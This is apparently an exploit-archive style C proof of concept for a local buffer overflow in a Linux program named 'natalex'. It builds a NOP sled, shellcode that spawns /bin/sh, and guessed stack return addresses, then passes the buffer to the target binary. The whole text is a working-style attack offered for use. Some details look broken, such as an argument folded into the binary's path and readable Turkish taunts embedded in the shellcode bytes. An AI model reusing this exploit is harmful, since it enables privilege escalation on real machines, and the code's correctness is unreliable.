# Author: SiktirEdenzi aka GoteGELENZI
# Software Link: http://www.muratkaslioglu.com/norex/
# Version: v1.3.2.0
# Tested on: Linux
# CVE :
# Code :

#define PATH_ZEN "/usr/bin/natalex -r"
#define OFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
__asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x62\x1f\x74\x1f\x6e\x20\x62\x65\x79\x61\x7a"
"\x20\x1f\x61\x70\x6b\x61\x6c\x61\x72\x20\x61\x6e\x61\x6e\x1f\x7a"
"\x1f\x20\x73\x69\x6b\x65\x6e\x7a\x69\x2c\x20\x68\x75\x7a\x65\x79"
"\x66\x65\x20\x73\x65\x6c\x61\x6d\x6c\x61\x72\x20\x64\x6f\x73\x74"
"\x75\x6d\x20\x6c\x6f\x6c\x27\x64\x35\x10\x56\x34\x12\x8d\x4e\x0b"
"\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

int i;
int ofs = DEFAULT_OFFSET;

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;

memset(ptr, 0x90, OFFER_SIZE-strlen(execshell));
ptr += OFFER_SIZE-strlen(execshell);

for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;

(void)alarm((u_int)0);
execl(PATH_ZEN, "umount", buff, NULL);
}